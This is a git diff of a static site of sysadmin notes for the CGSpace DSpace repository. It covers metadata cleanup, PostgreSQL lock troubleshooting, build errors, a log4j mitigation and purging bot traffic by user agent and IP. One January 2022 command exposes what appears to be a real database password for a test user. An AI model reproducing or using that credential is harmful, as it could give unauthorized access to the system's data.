$ ./ilri/fix-metadata-values.py -i /tmp/authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t 'correct' -m 3
+
    +
  • Then I imported to CGSpace and started a full Discovery re-index:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    272m43.818s
+user    183m4.543s
+sys     2m47.988
+

2021-11-28

+
    +
  • Run system updates on AReS server (linode20) and update all Docker containers and reboot +
      +
    • Then I started a fresh harvest as I always do on Sunday
      • +
    +
    • +
  • I am experimenting with pinning npm version 7 on OpenRXV frontend because of these Angular errors:
    • +
+
npm WARN EBADENGINE Unsupported engine {
+npm WARN EBADENGINE   package: '@angular-devkit/architect@0.901.15',
+npm WARN EBADENGINE   required: { node: '>= 10.13.0', npm: '^6.11.0 || ^7.5.6', yarn: '>= 1.13.0' },
+npm WARN EBADENGINE   current: { node: 'v12.22.7', npm: '8.1.3' }
+npm WARN EBADENGINE }
+

2021-11-29

+
    +
  • Tezira reached out to me to say that submissions on CGSpace are taking forever
    • +
  • I see a definite increase in locks in the last few days:
    • +
+

PostgreSQL locks week

+
    +
  • The locks are all held by dspaceWeb (XMLUI):
    • +
+
$ psql -c "SELECT application_name FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid" | sort | uniq -c | sort -n
+      1 
+      1 ------------------
+      1 (1394 rows)
+      1  application_name 
+      9  psql
+   1385  dspaceWeb
+
    +
  • I restarted PostgreSQL and the locks dropped down:
    • +
+
$ psql -c "SELECT application_name FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid" | sort | uniq -c | sort -n
+      1
+      1 ------------------
+      1 (103 rows)
+      1  application_name
+      9  psql
+     94  dspaceWeb
+

2021-11-30

+
    +
  • IWMI sent me ORCID identifiers for some new staff +
      +
    • We currently have 1332 unique identifiers, so this adds sixteen new ones:
      • +
    +
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-identifier.xml /tmp/iwmi-orcids.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > /tmp/2021-11-30-combined-orcids.txt
+$ wc -l /tmp/2021-11-30-combined-orcids.txt
+1348 /tmp/2021-11-30-combined-orcids.txt
+
    +
  • After I combined them and removed duplicates, I resolved all the names using my resolve-orcids.py script:
    • +
+
$ ./ilri/resolve-orcids.py -i /tmp/2021-11-30-combined-orcids.txt -o /tmp/2021-11-30-combined-orcids-names.txt
+
    +
  • Then I updated some ORCID identifiers that had changed in the XML:
    • +
+
$ cat 2021-11-30-fix-orcids.csv
+cg.creator.identifier,correct
+"ADEBOWALE AKANDE: 0000-0002-6521-3272","ADEBOWALE AD AKANDE: 0000-0002-6521-3272"
+"Daniel Ortiz Gonzalo: 0000-0002-5517-1785","Daniel Ortiz-Gonzalo: 0000-0002-5517-1785"
+"FRIDAY ANETOR: 0000-0003-3137-1958","Friday Osemenshan Anetor: 0000-0003-3137-1958"
+"Sander Muilerman: 0000-0001-9103-3294","Sander Muilerman-Rodrigo: 0000-0001-9103-3294"
+$ ./ilri/fix-metadata-values.py -i 2021-11-30-fix-orcids.csv -db dspace -u dspace -p 'fuuu' -f cg.creator.identifier -t 'correct' -m 247
+
    +
  • Tag existing items from the IWMI’s new authors with ORCID iDs using add-orcid-identifiers-csv.py (7 new metadata fields added):
    • +
+
$ cat 2021-11-30-add-orcids.csv 
+dc.contributor.author,cg.creator.identifier
+"Liaqat, U.W.","Umar Waqas Liaqat: 0000-0001-9027-5232"
+"Liaqat, Umar Waqas","Umar Waqas Liaqat: 0000-0001-9027-5232"
+"Munyaradzi, M.","Munyaradzi Junia Mutenje: 0000-0002-7829-9300"
+"Mutenje, Munyaradzi","Munyaradzi Junia Mutenje: 0000-0002-7829-9300"
+"Rex, William","William Rex: 0000-0003-4979-5257"
+"Shrestha, Shisher","Nirman Shrestha: 0000-0002-0996-8611"
+$ ./ilri/add-orcid-identifiers-csv.py -i 2021-11-30-add-orcids.csv -db dspace -u dspace -p 'fuuu'
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2021-12/index.html b/docs/2021-12/index.html new file mode 100644 index 000000000..d9da2f183 --- /dev/null +++ b/docs/2021-12/index.html @@ -0,0 +1,631 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + December, 2021 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

December, 2021

+

+ + in + Notes + + +

+
+

2021-12-01

+
    +
  • Atmire merged some changes I had submitted to the COUNTER-Robots project
    • +
  • I updated our local spider user agents and then re-ran the list with my check-spider-hits.sh script on CGSpace:
    • +
+
$ ./ilri/check-spider-hits.sh -f /tmp/agents -p  
+Purging 1989 hits from The Knowledge AI in statistics
+Purging 1235 hits from MaCoCu in statistics
+Purging 455 hits from WhatsApp in statistics
+
+Total number of bot hits purged: 3679
+

2021-12-02

+
    +
  • Francesca from Alliance asked me for help with approving a submission that gets stuck +
      +
    • I looked at the PostgreSQL activity and the locks are back up like they were earlier this week
      • +
    +
    • +
+
$ psql -c "SELECT application_name FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid" | sort | uniq -c | sort -n
+      1 
+      1 ------------------
+      1 (1437 rows)
+      1  application_name 
+      9  psql
+   1428  dspaceWeb
+
    +
  • Munin shows the same:
    • +
+

PostgreSQL locks week

+
    +
  • Last month I enabled the log_lock_waits in PostgreSQL so I checked the log and was surprised to find only a few since I restarted PostgreSQL three days ago:
    • +
+
# grep -E '^2021-(11-29|11-30|12-01|12-02)' /var/log/postgresql/postgresql-10-main.log | grep -c 'still waiting for'
+15
+
    +
  • I think you could analyze the locks for the dspaceWeb user (XMLUI) and find out what queries were locking… but it’s so much information and I don’t know where to start +
      +
    • For now I just restarted PostgreSQL…
      • +
    • Francesca was able to do her submission immediately…
      • +
    +
    • +
  • On a related note, I want to enable the pg_stat_statement feature to see which queries get run the most, so I created the extension on the CGSpace database
    • +
  • I was doing some research on PostgreSQL locks and found some interesting things to consider +
      +
    • The default lock_timeout is 0, aka disabled
      • +
    • The default statement_timeout is 0, aka disabled
      • +
    • It seems to be recommended to start by setting statement_timeout first, rule of thumb ten times longer than your longest query
      • +
    +
    • +
  • Mark Wood mentioned the checker cron job that apparently runs in one transaction and might be an issue +
      +
    • I definitely saw it holding a bunch of locks for ~30 minutes during the first part of its execution, then it dropped them and did some other less-intensive things without locks
      • +
    +
    • +
  • Bizuwork was still not receiving emails even after we fixed the SMTP access on CGSpace +
      +
    • After some troubleshooting it turns out that the emails from CGSpace were going in her Junk!
      • +
    +
    • +
+

2021-12-03

+
    +
  • I see GARDIAN is now using a “GARDIAN” user agent finally +
      +
    • I will add them to our local spider agent override in DSpace so that the hits don’t get counted in Solr
      • +
    +
    • +
+

2021-12-05

+
    +
  • Proof fifty records Abenet sent me from Africa Rice Center (“AfricaRice 1st batch Import”) +
      +
    • Fixed forty-six incorrect collections
      • +
    • Cleaned up and normalize affiliations
      • +
    • Cleaned up dates (extra * character in all?)
      • +
    • Cleaned up citation format
      • +
    • Fixed some encoding issues in abstracts
      • +
    • Removed empty columns
      • +
    • Removed one duplicate: Enhancing Rice Productivity and Soil Nitrogen Using Dual-Purpose Cowpea-NERICA® Rice Sequence in Degraded Savanna
      • +
    • Added volume and issue metadata by extracting it from the citations
      • +
    • All PDFs hosted on davidpublishing.com are dead…
      • +
    • All DOIs linking to African Journal of Agricultural Research are dead…
      • +
    • Fixed a handful of items marked as “Open Access” that are actually closed
      • +
    • Added many missing ISSNs
      • +
    • Added many missing countries/regions
      • +
    • Fixed invalid AGROVOC terms and added some more based on article subjects
      • +
    +
    • +
  • I also made some minor changes to the CSV Metadata Quality Checker +
      +
    • Added the ability to check if the item’s title exists in the citation
      • +
    • Updated to only run the mojibake check if we’re not running in unsafe mode (so we don’t print the same warning during both the check and fix steps)
      • +
    +
    • +
  • I ran the re-harvesting on AReS
    • +
+

2021-12-06

+
    +
  • Some minor work on the check-duplicates.py script I wrote last month +
      +
    • I found some corner cases where there were items that matched in the database, but they were in_archive=f and or withdrawn=t so I check that before trying to resolve the handles of potential duplicates
      • +
    +
    • +
  • More work on the Africa Rice Center 1st batch import +
      +
    • I merged the metadata for three duplicates in Africa Rice’s items and mapped them on CGSpace
      • +
    • I did a bit more work to add missing AGROVOC subjects, countries, regions, extents, etc and then uploaded the forty-six items to CGSpace
      • +
    +
    • +
  • I started looking at the seventy CAS records that Abenet has been working on for the past few months
    • +
+

2021-12-07

+
    +
  • I sent Vini from CGIAR CAS some questions about the seventy records I was working on yesterday +
      +
    • Also, I ran the check-duplicates.py script on them and found that they might ALL be duplicates!!!
      • +
    • I tweaked the script a bit more to use the issue dates as a third criteria and now there are less duplicates, but it’s still at least twenty or so…
      • +
    • The script now checks if the issue date of the item in the CSV and the issue date of the item in the database are less than 365 days apart (by default)
      • +
    • For example, many items like “Annual Report 2020” can have similar title and type to previous annual reports, but are not duplicates
      • +
    +
    • +
  • I noticed a strange user agent in the XMLUI logs on CGSpace:
    • +
+
20.84.225.129 - - [07/Dec/2021:11:51:24 +0100] "GET /handle/10568/33203 HTTP/1.1" 200 6328 "-" "python-requests/2.25.1"
+20.84.225.129 - - [07/Dec/2021:11:51:27 +0100] "GET /handle/10568/33203 HTTP/2.0" 200 6315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/88.0.4298.0 Safari/537.36"
+
    +
  • I looked into it more and I see a dozen other IPs using that user agent, and they are all owned by Microsoft +
      +
    • It could be someone on Azure?
      • +
    • I opened a pull request to COUNTER-Robots and I’ll add this user agent to our local override until they decide to include it or not
      • +
    +
    • +
  • I purged 34,000 hits from this user agent in our Solr statistics:
    • +
+
$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
+Purging 34458 hits from HeadlessChrome in statistics
+
+Total number of bot hits purged: 34458
+
    +
  • Meeting with partners about repositories in the One CGIAR
    • +
+

2021-12-08

+ +

2021-12-09

+
    +
  • Help Francesca upload the dataset for one CIAT publication (it has like 100 authors so we did it via CSV)
    • +
+

2021-12-12

+
    +
  • Patch OpenRXV’s Elasticsearch for the CVE-2021-44228 log4j vulnerability and re-deploy AReS +
      +
    • I added -Dlog4j2.formatMsgNoLookups=true to the Elasticsearch Java environment
      • +
    +
    • +
  • Run AReS harvesting
    • +
+

2021-12-13

+
    +
  • I ran the check-duplicates.py script on the 1,000 items from the CGIAR System Office TAC/ICW/Green Cover archives and found hundreds or thousands of potential duplicates +
      +
    • I sent feedback to Gaia
      • +
    +
    • +
  • Help Jacquie from WorldFish try to find all outputs for the Fish CRP because there are a few different formats for that name
    • +
  • Create a temporary account for Rafael Rodriguez on DSpace Test so he can investigate the submission workflow +
      +
    • I added him to the admin group on the Alliance community…
      • +
    +
    • +
+

2021-12-14

+
    +
  • I finally caught some stuck locks on CGSpace after checking several times per day for the last week:
    • +
+
$ psql -c "SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid" | wc -l
+1508
+
    +
  • Now looking at the locks query sorting by age of locks:
    • +
+
$ cat locks-age.sql 
+SELECT a.datname,
+         l.relation::regclass,
+         l.transactionid,
+         l.mode,
+         l.GRANTED,
+         a.usename,
+         a.query,
+         a.query_start,
+         age(now(), a.query_start) AS "age",
+         a.pid
+FROM pg_stat_activity a
+JOIN pg_locks l ON l.pid = a.pid
+ORDER BY a.query_start;
+
    +
  • The oldest locks are 9 hours and 26 minutes old and the time on the server is Tue Dec 14 18:41:58 CET 2021, so it seems something happened around 9:15 this morning +
      +
    • I looked at the maintenance tasks and there is nothing running around then (only the sitemap update that runs at 8AM, and should be quick)
      • +
    • I looked at the DSpace log, but didn’t see anything interesting there: only editors making edits…
      • +
    • I looked at the nginx REST API logs and saw lots of GET action there from Drupal sites harvesting us…
      • +
    • So I’m not sure what it causing this… perhaps something in the XMLUI submission / task workflow
      • +
    • For now I just ran all system updates and rebooted the server
      • +
    • I also enabled Atmire’s log-db-activity.sh script to run every four hours (in the DSpace user’s crontab) so perhaps that will be better than me checking manually
      • +
    +
    • +
  • Regarding Gaia’s 1,000 items to upload to CGSpace, I checked the eighteen Green Cover records and there are no duplicates, so that’s at least a starting point! +
      +
    • I sent her a spreadsheet with the eighteen items with a new collection column to indicate where they should go
      • +
    +
    • +
+

2021-12-16

+
    +
  • Working on the CGIAR CAS Green Cover records for Gaia +
      +
    • Add months to dcterms.issued from PDFs
      • +
    • Add languages
      • +
    • Format and fix several authors
      • +
    +
    • +
  • I created a SAF archive with SAFBuilder and then imported it to DSpace Test:
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=fuuu@fuuu.com --source /tmp/SimpleArchiveFormat --mapfile=./2021-12-16-green-covers.map
+

2021-12-19

+
    +
  • I tried to update all Docker containers on AReS and then run a build, but I got an error in the backend:
    • +
+
> openrxv-backend@0.0.1 build
+> nest build
+
+node_modules/@elastic/elasticsearch/api/types.d.ts:2454:13 - error TS2456: Type alias 'AggregationsAggregate' circularly references itself.
+
+2454 export type AggregationsAggregate = AggregationsSingleBucketAggregate | AggregationsAutoDateHistogramAggregate | AggregationsFiltersAggregate | AggregationsSignificantTermsAggregate<any> | AggregationsTermsAggregate<any> | AggregationsBucketAggregate | AggregationsCompositeBucketAggregate | AggregationsMultiBucketAggregate<AggregationsBucket> | AggregationsMatrixStatsAggregate | AggregationsKeyedValueAggregate | AggregationsMetricAggregate
+                 ~~~~~~~~~~~~~~~~~~~~~
+node_modules/@elastic/elasticsearch/api/types.d.ts:3209:13 - error TS2456: Type alias 'AggregationsSingleBucketAggregate' circularly references itself.
+
+3209 export type AggregationsSingleBucketAggregate = AggregationsSingleBucketAggregateKeys
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Found 2 error(s).
+
    +
  • I’m not sure why because I build the backend successfully on my local machine… +
      +
    • For now I just ran all the system updates and rebooted the machine (linode20)
      • +
    • Then I started a fresh harvest
      • +
    +
    • +
  • Now I cleared all images on my local machine and I get the same error when building the backend +
      +
    • It seems to be related to @elastic/elasticsearch-js](https://github.com/elastic/elasticsearch-js), which our package.json pins with version ^7.13.0
      • +
    • I see that AReS is currently using 7.15.0 in its package-lock.json, and 7.16.0 was released four days ago so perhaps it’s that…
      • +
    • Pinning ~7.15.0 allows nest to build fine…
      • +
    • I made a pull request
      • +
    +
    • +
  • But since software sucks, now I get an error in the frontend while starting nginx:
    • +
+
nginx: [emerg] host not found in upstream "backend:3000" in /etc/nginx/conf.d/default.conf:2
+
    +
  • In other news, looking at updating our Redis from version 5 to 6 (which is slightly less old, but still old!) and I’m happy to see that the release notes for version 6 say that it is compatible with 5 except for one minor thing that we don’t seem to be using (SPOP?)
    • +
  • For reference I see that our Redis 5 container is based on Debian 11, which I didn’t expect… but I still want to try to upgrade to Redis 6 eventually:
    • +
+
$ docker exec -it redis bash
+root@23692d6b51c5:/data# cat /etc/os-release 
+PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
+NAME="Debian GNU/Linux"
+VERSION_ID="11"
+VERSION="11 (bullseye)"
+VERSION_CODENAME=bullseye
+ID=debian
+HOME_URL="https://www.debian.org/"
+SUPPORT_URL="https://www.debian.org/support"
+BUG_REPORT_URL="https://bugs.debian.org/"
+
    +
  • I bumped the version to 6 on my local test machine and the logs look good:
    • +
+
$ docker logs redis
+1:C 19 Dec 2021 19:27:15.583 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
+1:C 19 Dec 2021 19:27:15.583 # Redis version=6.2.6, bits=64, commit=00000000, modified=0, pid=1, just started
+1:C 19 Dec 2021 19:27:15.583 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
+1:M 19 Dec 2021 19:27:15.584 * monotonic clock: POSIX clock_gettime
+1:M 19 Dec 2021 19:27:15.584 * Running mode=standalone, port=6379.
+1:M 19 Dec 2021 19:27:15.584 # Server initialized
+1:M 19 Dec 2021 19:27:15.585 * Loading RDB produced by version 5.0.14
+1:M 19 Dec 2021 19:27:15.585 * RDB age 33 seconds
+1:M 19 Dec 2021 19:27:15.585 * RDB memory usage when created 3.17 Mb
+1:M 19 Dec 2021 19:27:15.595 # Done loading RDB, keys loaded: 932, keys expired: 1.
+1:M 19 Dec 2021 19:27:15.595 * DB loaded from disk: 0.011 seconds
+1:M 19 Dec 2021 19:27:15.595 * Ready to accept connections
+
    +
  • The interface and harvesting all work as expected… +
      +
    • I pushed the update to OpenRXV
      • +
    +
    • +
  • I also fixed the weird “unsafe” issue in the links on AReS that Abenet told me about last week +
      +
    • When testing my local instance I realized that the thumbnail field was missing on the production AReS, and that somehow breaks the links
      • +
    +
    • +
+

2021-12-22

+
    +
  • Fix apt error on DSpace servers due to updated /etc/java-8-openjdk/security/java.security file
    • +
+

2021-12-23

+
    +
  • Add support for dropping invalid AGROVOC subjects to csv-metadata-quality
    • +
  • Move invalid AGROVOC subjects in Gaia’s eighteen green cover items on DSpace Test to cg.subject.system
    • +
  • I created an “approve” user for Rafael from CIAT to do tests on DSpace Test:
    • +
+
$ dspace user -a -m rafael-approve@cgiar.org -g Rafael -s Rodriguez -p 'fuuuuuu'
+

2021-12-27

+
    +
  • Start a fresh harvest on AReS
    • +
+

2021-12-29

+
    +
  • Looking at the top IPs and user agents on CGSpace’s Solr statistics I see a strange user agent:
    • +
+
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.{random.randint(0, 9999)} Safari/537.{random.randint(0, 99)}
+
    +
  • I found two IPs using user agents with the “randint” bug: +
      +
    • 47.252.80.214 (AliCloud in the US)
      • +
    • 61.143.40.50 (ChinaNet in China)
      • +
    +
    • +
  • I wonder what other requests have been made from those hosts where the randint spoofer was working… ugh.
    • +
  • I found some IPs from the Russian SELECTEL network making thousands of requests with SQL injection attempts… +
      +
    • 45.134.26.171
      • +
    • 45.146.166.173
      • +
    +
    • +
  • 3.225.28.105 is on Amazon and making thousands of requests for the same URL:
    • +
+
/rest/collections/1118/items?expand=all&limit=1
+
    +
  • Most of the time it has a real-looking user agent, but sometimes it uses Apache-HttpClient/4.3.4 (java 1.5)
    • +
  • Another 82.65.26.228 is doing SQL injection attempts from France
    • +
  • 216.213.28.138 is some scrape-as-a-service bot from Sprious
    • +
  • I used my resolve-addresses-geoip2.py script to get the ASNs for all the IPs in Solr stats this month, then extracted the ASNs that were responsible for more than one IP:
    • +
+
$ ./ilri/resolve-addresses-geoip2.py -i /tmp/ips.txt -o /tmp/2021-12-29-ips.csv
+$ csvcut -c asn /tmp/2021-12-29-ips.csv | sed 1d | sort | uniq -c | sort -h | awk '$1 > 1'
+      2 10620
+      2 265696
+      2 6147
+      2 9299
+      3 3269
+      5 16509
+      5 49505
+      9 24757
+      9 24940
+      9 64267
+
    +
  • AS 64267 is Sprious, and it has used these IPs this month: +
      +
    • 216.213.28.136
      • +
    • 207.182.27.191
      • +
    • 216.41.235.187
      • +
    • 216.41.232.169
      • +
    • 216.41.235.186
      • +
    • 52.124.19.190
      • +
    • 216.213.28.138
      • +
    • 216.41.234.163
      • +
    +
    • +
  • To be honest I want to ban all their networks but I’m afraid it’s too many IPs… hmmm
    • +
  • AS 24940 is Hetzner, but I don’t feel like going through all the IPs to see… they always pretend to be normal users and make semi-sane requests so it might be a proxy or something
    • +
  • AS 24757 is Ethiopian Telecom
    • +
  • I’m going to purge all these for sure, as they are a scraping-as-a-service company and don’t use proper user agents or request robots.txt
    • +
  • AS 49505 is the Russian Selectel, and it has used these IPs this month: +
      +
    • 45.146.166.173
      • +
    • 45.134.26.171
      • +
    • 45.146.164.123
      • +
    • 45.155.205.231
      • +
    • 195.54.167.122
      • +
    +
    • +
  • I will purge them all too because they are up to no good, as I already saw earlier today (SQL injections)
    • +
  • AS 16509 is Amazon, and it has used these IPs this month: +
      +
    • 18.135.23.223 (made requests using the Mozilla/5.0 (compatible; U; Koha checkurl) user agent, so I will purge it and add it to our DSpace user agent override and submit to COUNTER-Robots)
      • +
    • 54.76.137.83 (made hundreds of requests to “/” with a normal user agent)
      • +
    • 34.253.119.85 (made hundreds of requests to “/” with a normal user agent)
      • +
    • 34.216.201.131 (made hundreds of requests to “/” with a normal user agent)
      • +
    • 54.203.193.46 (made hundreds of requests to “/” with a normal user agent)
      • +
    +
    • +
  • I ran the script to purge spider agents with the latest updates:
    • +
+
$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
+Purging 2530 hits from HeadlessChrome in statistics
+Purging 10676 hits from randint in statistics
+Purging 3579 hits from Koha in statistics
+
+Total number of bot hits purged: 16785
+
    +
  • Then the IPs:
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips-to-purge.txt -p
+Purging 1190 hits from 216.213.28.136 in statistics
+Purging 1128 hits from 207.182.27.191 in statistics
+Purging 1095 hits from 216.41.235.187 in statistics
+Purging 1087 hits from 216.41.232.169 in statistics
+Purging 1011 hits from 216.41.235.186 in statistics
+Purging 945 hits from 52.124.19.190 in statistics
+Purging 933 hits from 216.213.28.138 in statistics
+Purging 930 hits from 216.41.234.163 in statistics
+Purging 4410 hits from 45.146.166.173 in statistics
+Purging 2688 hits from 45.134.26.171 in statistics
+Purging 1130 hits from 45.146.164.123 in statistics
+Purging 536 hits from 45.155.205.231 in statistics
+Purging 10676 hits from 195.54.167.122 in statistics
+Purging 1350 hits from 54.76.137.83 in statistics
+Purging 1240 hits from 34.253.119.85 in statistics
+Purging 2879 hits from 34.216.201.131 in statistics
+Purging 2909 hits from 54.203.193.46 in statistics
+Purging 1822 hits from 2605\:b100\:316\:7f74\:8d67\:5860\:a9f3\:d87c in statistics
+
+Total number of bot hits purged: 37959
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2021/03/postgres_connections_ALL-week.png b/docs/2021/03/postgres_connections_ALL-week.png new file mode 100644 index 000000000..3b9aa9ee9 Binary files /dev/null and b/docs/2021/03/postgres_connections_ALL-week.png differ diff --git a/docs/2021/03/postgres_connections_cgspace-week.png b/docs/2021/03/postgres_connections_cgspace-week.png new file mode 100644 index 000000000..0a911b038 Binary files /dev/null and b/docs/2021/03/postgres_connections_cgspace-week.png differ diff --git a/docs/2021/03/postgres_locks_ALL-week.png b/docs/2021/03/postgres_locks_ALL-week.png new file mode 100644 index 000000000..aa44644c4 Binary files /dev/null and b/docs/2021/03/postgres_locks_ALL-week.png differ diff --git a/docs/2021/03/postgres_querylength_ALL-week.png b/docs/2021/03/postgres_querylength_ALL-week.png new file mode 100644 index 000000000..5072ac336 Binary files /dev/null and b/docs/2021/03/postgres_querylength_ALL-week.png differ diff --git a/docs/2021/04/classes_unloaded-week.png b/docs/2021/04/classes_unloaded-week.png new file mode 100644 index 000000000..4c915179d Binary files /dev/null and b/docs/2021/04/classes_unloaded-week.png differ diff --git a/docs/2021/04/group-invalid-email.png b/docs/2021/04/group-invalid-email.png new file mode 100644 index 000000000..dc2fb8922 Binary files /dev/null and b/docs/2021/04/group-invalid-email.png differ diff --git a/docs/2021/04/jmx_dspace_sessions-week.png b/docs/2021/04/jmx_dspace_sessions-week.png new file mode 100644 index 000000000..af73363b0 Binary files /dev/null and b/docs/2021/04/jmx_dspace_sessions-week.png differ diff --git a/docs/2021/04/jmx_tomcat_dbpools-week.png b/docs/2021/04/jmx_tomcat_dbpools-week.png new file mode 100644 index 000000000..55765a3a0 Binary files /dev/null and b/docs/2021/04/jmx_tomcat_dbpools-week.png differ diff --git a/docs/2021/04/nginx_status-week.png b/docs/2021/04/nginx_status-week.png new file mode 100644 index 000000000..01f988e9e Binary files /dev/null and b/docs/2021/04/nginx_status-week.png differ diff --git a/docs/2021/04/postgres_connections_cgspace-week.png b/docs/2021/04/postgres_connections_cgspace-week.png new file mode 100644 index 000000000..8bfabf413 Binary files /dev/null and b/docs/2021/04/postgres_connections_cgspace-week.png differ diff --git a/docs/2021/04/postgres_locks_ALL-week-PROD.png b/docs/2021/04/postgres_locks_ALL-week-PROD.png new file mode 100644 index 000000000..cc0c1863b Binary files /dev/null and b/docs/2021/04/postgres_locks_ALL-week-PROD.png differ diff --git a/docs/2021/04/postgres_locks_ALL-week-TEST.png b/docs/2021/04/postgres_locks_ALL-week-TEST.png new file mode 100644 index 000000000..4efd396bd Binary files /dev/null and b/docs/2021/04/postgres_locks_ALL-week-TEST.png differ diff --git a/docs/2021/04/postgres_locks_cgspace-week.png b/docs/2021/04/postgres_locks_cgspace-week.png new file mode 100644 index 000000000..5e22431b9 Binary files /dev/null and b/docs/2021/04/postgres_locks_cgspace-week.png differ diff --git a/docs/2021/04/sda-week.png b/docs/2021/04/sda-week.png new file mode 100644 index 000000000..ddc5a7b50 Binary files /dev/null and b/docs/2021/04/sda-week.png differ diff --git a/docs/2021/06/dspace-sessions-week.png b/docs/2021/06/dspace-sessions-week.png new file mode 100644 index 000000000..a89408ebf Binary files /dev/null and b/docs/2021/06/dspace-sessions-week.png differ diff --git a/docs/2021/07/context-navigation-menu.png b/docs/2021/07/context-navigation-menu.png new file mode 100644 index 000000000..8450f0f89 Binary files /dev/null and b/docs/2021/07/context-navigation-menu.png differ diff --git a/docs/2021/09/postgres_locks_ALL-week.png b/docs/2021/09/postgres_locks_ALL-week.png new file mode 100644 index 000000000..fa8296913 Binary files /dev/null and b/docs/2021/09/postgres_locks_ALL-week.png differ diff --git a/docs/2021/09/postgres_querylength_ALL-week.png b/docs/2021/09/postgres_querylength_ALL-week.png new file mode 100644 index 000000000..87f63fb4d Binary files /dev/null and b/docs/2021/09/postgres_querylength_ALL-week.png differ diff --git a/docs/2021/10/postgres_locks_ALL-week.png b/docs/2021/10/postgres_locks_ALL-week.png new file mode 100644 index 000000000..6e5b981a1 Binary files /dev/null and b/docs/2021/10/postgres_locks_ALL-week.png differ diff --git a/docs/2021/11/postgres_locks_ALL-week.png b/docs/2021/11/postgres_locks_ALL-week.png new file mode 100644 index 000000000..f13302de7 Binary files /dev/null and b/docs/2021/11/postgres_locks_ALL-week.png differ diff --git a/docs/2021/12/postgres_locks_ALL-week.png b/docs/2021/12/postgres_locks_ALL-week.png new file mode 100644 index 000000000..2033f41fc Binary files /dev/null and b/docs/2021/12/postgres_locks_ALL-week.png differ diff --git a/docs/2022-01/index.html b/docs/2022-01/index.html new file mode 100644 index 000000000..5092127e7 --- /dev/null +++ b/docs/2022-01/index.html @@ -0,0 +1,434 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + January, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

January, 2022

+

+ + in + Notes + + +

+
+

2022-01-01

+
    +
  • Start a full harvest on AReS
    • +
+

2022-01-06

+
    +
  • Add ORCID identifier for Chris Jones to CGSpace +
      +
    • Also tag eighty-eight of his items in CGSpace:
      • +
    +
    • +
+
$ cat 2022-01-06-add-orcids.csv
+dc.contributor.author,cg.creator.identifier
+"Jones, Chris","Chris Jones: 0000-0001-9096-9728"
+"Jones, Christopher S.","Chris Jones: 0000-0001-9096-9728"
+$ ./ilri/add-orcid-identifiers-csv.py -i 2022-01-06-add-orcids.csv -db dspace63 -u dspacetest -p 'dom@in34sniper'
+

2022-01-09

+
    +
  • Validate and register CGSpace on OpenArchives +
      +
    • Last month IWMI colleagues were asking me to look into this, and after checking the OpenArchives mailing list it seems there was a problem on the server side
      • +
    • Now it has worked and the message is “Successfully updated OAI registration database to status COMPLIANT.”
      • +
    • I received an email (as the Admin contact on our OAI) that says:
      • +
    +
    • +
+
+

Your repository has been registered in the OAI database of conforming repositories.

+
+
    +
  • Now I’m taking a screenshot of the validation page for posterity, because the logs seem to go away after some time
    • +
+

OpenArchives.org registration

+
    +
  • I tried to re-build the Docker image for OpenRXV and got an error in the backend:
    • +
+
...
+> openrxv-backend@0.0.1 build
+> nest build
+
+node_modules/@elastic/elasticsearch/api/types.d.ts:2454:13 - error TS2456: Type alias 'AggregationsAggregate' circularly references itself.
+
+2454 export type AggregationsAggregate = AggregationsSingleBucketAggregate | AggregationsAutoDateHistogramAggregate | AggregationsFiltersAggregate | AggregationsSignificantTermsAggregate<any> | AggregationsTermsAggregate<any> | AggregationsBucketAggregate | AggregationsCompositeBucketAggregate | AggregationsMultiBucketAggregate<AggregationsBucket> | AggregationsMatrixStatsAggregate | AggregationsKeyedValueAggregate | AggregationsMetricAggregate
+                 ~~~~~~~~~~~~~~~~~~~~~
+node_modules/@elastic/elasticsearch/api/types.d.ts:3209:13 - error TS2456: Type alias 'AggregationsSingleBucketAggregate' circularly references itself.
+
+3209 export type AggregationsSingleBucketAggregate = AggregationsSingleBucketAggregateKeys
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Found 2 error(s).
+
    +
  • Ah, it seems the code on the server was slightly out of date +
      +
    • I checked out the latest master branch and it built
      • +
    +
    • +
+

2022-01-12

+ +

2022-01-19

+
    +
  • Francesca was having issues with a submission on CGSpace this week +
      +
    • I checked and see a lot of locks in PostgreSQL:
      • +
    +
    • +
+
$ psql -c "SELECT application_name FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid" | sort | uniq -c | sort -n
+      1 
+      1 ------------------
+      1 (3506 rows)
+      1  application_name 
+      9  psql
